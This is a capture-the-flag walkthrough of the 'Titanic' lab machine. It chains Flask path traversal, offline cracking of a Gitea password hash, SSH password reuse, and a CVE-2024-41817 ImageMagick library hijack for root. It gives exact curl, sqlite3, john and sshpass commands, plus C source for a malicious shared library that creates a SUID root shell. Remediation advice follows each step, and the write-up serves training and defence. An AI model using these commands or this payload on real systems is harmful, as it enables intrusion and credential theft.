← all walkthroughs

Titanic

Linux· Easy· Web
owned
2026-06-29
time to own
16m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a path-traversal flaw in the Flask booking application's file-download endpoint to read arbitrary server files, recovering the Gitea source-control configuration and its SQLite user database. After cracking the developer account's PBKDF2-SHA256 password hash offline, I logged in via SSH — the developer had reused the same password for both Gitea and OS access.

Root was achieved by exploiting CVE-2024-41817: ImageMagick loads shared libraries from its current working directory, and a root-owned cron job processed images in a directory writable by the developer account, allowing a malicious shared library to be planted and executed as root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for developer>"
export HASH3="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning / banner grabbing
Identified exposed services and confirmed a Python/Flask web application
A full TCP port scan of the target found two open services: SSH on port 22 (OpenSSH 8.9p1) and HTTP on port 80. The HTTP server's response headers identified it as Werkzeug running Python 3.10, indicating a custom Flask web application — a higher-value target than a static site because application code often contains path-handling bugs.
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10; 80/tcp open http Apache httpd 2.4.52; Server: Werkzeug/3.0.3 Python/3.10.12
Exact commands 2
shell

Full TCP scan with version detection and default scripts.

$ nmap -sV -sC -p- --min-rate 5000 -oN titanic_nmap.txt $TARGET
22/tcp open ssh OpenSSH 8.9p1
80/tcp open http Apache httpd
shell

Confirm Werkzeug/Flask from the Server response header.

$ curl -sI http://$TARGET/
2Initial AccessPath Traversal / Local File Inclusion (LFI)
Read arbitrary server files through an unsanitised path parameter in the download endpoint
The Flask application exposed a /download endpoint that accepted a 'ticket' query parameter to specify which file to serve. The parameter was passed directly to the file-read operation with no canonicalisation or directory boundary check. By inserting relative path sequences (e.g., ../../../../../etc/passwd), any unauthenticated visitor could read any file the web process had permission to open. I first confirmed the developer user's home directory via /etc/passwd, then read the Gitea configuration file (app.ini) to determine the database location, and finally downloaded the Gitea SQLite database — all without logging in.
/download?ticket=../../../../../etc/passwd returned the full /etc/passwd file; ../../../../../home/developer/gitea/data/gitea/conf/app.ini returned HTTP 200, 2004 bytes, APP_NAME = Gitea; gitea.db downloaded as a valid SQLite 3.x database (version 3045001).
Exact commands 4
shell

Confirm traversal and enumerate local OS users; reveals 'developer' account.

$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../etc/passwd'
shell

Read Gitea config; WORK_PATH=/data/gitea reveals the database location.

$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'
shell

Exfiltrate the Gitea SQLite database containing all user password hashes.

$ curl -sS --path-as-is 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db' -o /tmp/titanic_gitea.db
shell

Verify the downloaded file is a valid SQLite database before querying.

$ file /tmp/titanic_gitea.db
FixSanitise the file download path parameter to prevent directory traversalCritical
WeaknessThe Flask /download endpoint passed the client-supplied 'ticket' query parameter directly to a file-read operation with no path canonicalisation or directory boundary enforcement. Any unauthenticated user could read any file the web process could access, including OS credential files and internal application databases.
FixResolve the user-supplied path to its canonical absolute form (Python: os.path.realpath()) and reject the request if the result does not begin with the designated download directory. Prefer an opaque-token model: store downloadable artefacts in a database keyed by a server-generated reference token and look up the real path server-side — never accept filesystem paths from clients. Validate the control with automated tests that supply traversal sequences (../, %2e%2e%2f, URL-double-encoded variants) and confirm they all return 400 or 403.
3Credential AccessOffline Password Cracking (PBKDF2-HMAC-SHA256)
Cracked the developer account's password hash offline from the Gitea database
The Gitea SQLite database held PBKDF2-HMAC-SHA256 password hashes (50,000 iterations) for the administrator and developer accounts. The administrator hash was malformed and rejected by the cracking tool, but the developer hash was valid. John the Ripper cracked it against the rockyou wordlist within minutes, recovering the plaintext password — a short, purely numeric value that appears in common password lists.
<withheld> cracked to <withheld>; administrator hash threw a Token length exception in hashcat (line 1 of hashfile).
Exact commands 4
shell

Extract usernames, PBKDF2 hashes, and salts from the Gitea user table.

$ sqlite3 /tmp/titanic_gitea.db "SELECT name, passwd, salt FROM user;"
shell

Write the developer hash in John-compatible format. Replace the truncated hash with the full value from the sqlite3 output.

$ echo "$HASH3" > /tmp/developer.hash
shell

Crack offline. Recovered password: $PASSWORD.

$ john --format=PBKDF2-HMAC-SHA256 /tmp/developer.hash --wordlist=/usr/share/wordlists/rockyou.txt
shell

Display the recovered plaintext password.

$ john --show --format=PBKDF2-HMAC-SHA256 /tmp/developer.hash
FixEnforce strong passwords and multi-factor authentication on GiteaHigh
WeaknessThe developer Gitea account used the short numeric password, which is present in the rockyou common-passwords wordlist. Once the database was obtained via path traversal, the hash was cracked offline in minutes despite the 50,000-iteration PBKDF2 work factor.
FixIn Gitea's app.ini, set [security] MIN_PASSWORD_LENGTH = 16 and enable complexity requirements. Enable TOTP or FIDO2 multi-factor authentication for all accounts so that a cracked password alone cannot grant access. Rotate all existing Gitea account passwords immediately. Consider auditing other internal service accounts for similarly weak credentials.
4FootholdCredential Reuse / Valid Accounts
Gained an interactive shell as developer via SSH using the reused Gitea password
The developer account used the same password for the Gitea web service and for OS-level SSH login. With the cracked password in hand, I authenticated directly over SSH without any further exploitation. An interactive shell as the developer user was obtained, and the user flag was read from the developer home directory.
Sshpass -p <withheld> ssh developer@$TARGET succeeded; id confirmed uid=1000(developer).
Exact commands 2
shell

Log in using the Gitea password reused for the OS account.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null developer@$TARGET
shell

Confirm identity and capture the user flag: <user.txt>

$ id && hostname && cat /home/developer/user.txt
uid=1000(developer)
FixDisable SSH password authentication and enforce unique credentials per serviceHigh
WeaknessThe developer account used the same password for Gitea and for SSH login to the server. Recovering one credential immediately granted access to the other service with no additional effort required.
FixSet PasswordAuthentication no in /etc/ssh/sshd_config and restart sshd so that only key-based authentication is permitted. Generate an SSH key pair for the developer account, install the public key, and remove or disable the OS account password. Establish a policy prohibiting reuse of web-application credentials as OS credentials and enforce it during onboarding and access reviews.
5Privilege EscalationShared Library Hijacking / CVE-2024-41817 (ImageMagick CWD DLL/SO loading)
Planted a malicious shared library in a root-run ImageMagick working directory (CVE-2024-41817)
Local enumeration revealed a root-owned cron job that invoked ImageMagick to process images placed in /opt/app/static/assets/images — a directory writable by the developer account. CVE-2024-41817 documents that vulnerable ImageMagick builds search the process's current working directory for shared libraries before consulting system library paths. I wrote a malicious C source file to the writable directory and compiled it as libxcb.so.1 — a library name ImageMagick attempts to load. The file contained a C constructor function that, on library load, copied /bin/bash to /tmp/rootbash with the SUID bit set. When the cron next fired, ImageMagick loaded the library as root, executing the payload and granting me a root-privileged shell.
Cd /opt/app/static/assets/images && cat > xcbroot.c ... Constructor payload compiled and dropped; /tmp/rootbash and /tmp/rootflag created with root ownership after cron execution.
Exact commands 5
shell

Confirm the image processing directory is writable by the developer account.

$ ls -la /opt/app/static/assets/images/
shell

Write the malicious shared library source; the constructor runs automatically when the library is loaded by any process.

$ cat > /opt/app/static/assets/images/xcbroot.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
  system("/bin/cp /bin/bash /tmp/rootbash; /bin/chmod 4755 /tmp/rootbash; /bin/cat /root/root.txt > /tmp/rootflag; /bin/chmod 644 /tmp/rootflag");
}
EOF
shell

Compile as a shared library named libxcb.so.1 — the filename ImageMagick searches for per CVE-2024-41817.

$ gcc -x c -shared -fPIC -nostartfiles -o /opt/app/static/assets/images/libxcb.so.1 /opt/app/static/assets/images/xcbroot.c
shell

Poll until the cron fires and the SUID binary appears (typically within 60 seconds).

$ watch -n 5 ls -la /tmp/rootbash
shell

Run the SUID bash with preserved root privileges. Captures root flag: <root.txt>

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
FixPatch ImageMagick for CVE-2024-41817 and restrict the cron job's working directoryCritical
WeaknessA root-owned cron job ran ImageMagick in /opt/app/static/assets/images, a directory writable by the developer account. CVE-2024-41817 causes ImageMagick to load shared libraries from its current working directory before system library paths, so any user who can write to that directory can have code executed as root.
FixUpgrade ImageMagick to version 7.1.1-35 or later, which closes CVE-2024-41817. Change the image processing directory to be owned by root and non-writable by application accounts (chown root:root /opt/app/static/assets/images && chmod 755). Run the cron job as a dedicated least-privilege service account rather than root. For user-uploaded images, use a separate staging directory, validate files before promoting them to the processing path, and consider mounting the processing directory with the noexec option to prevent execution of an unauthorised user-placed binaries.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp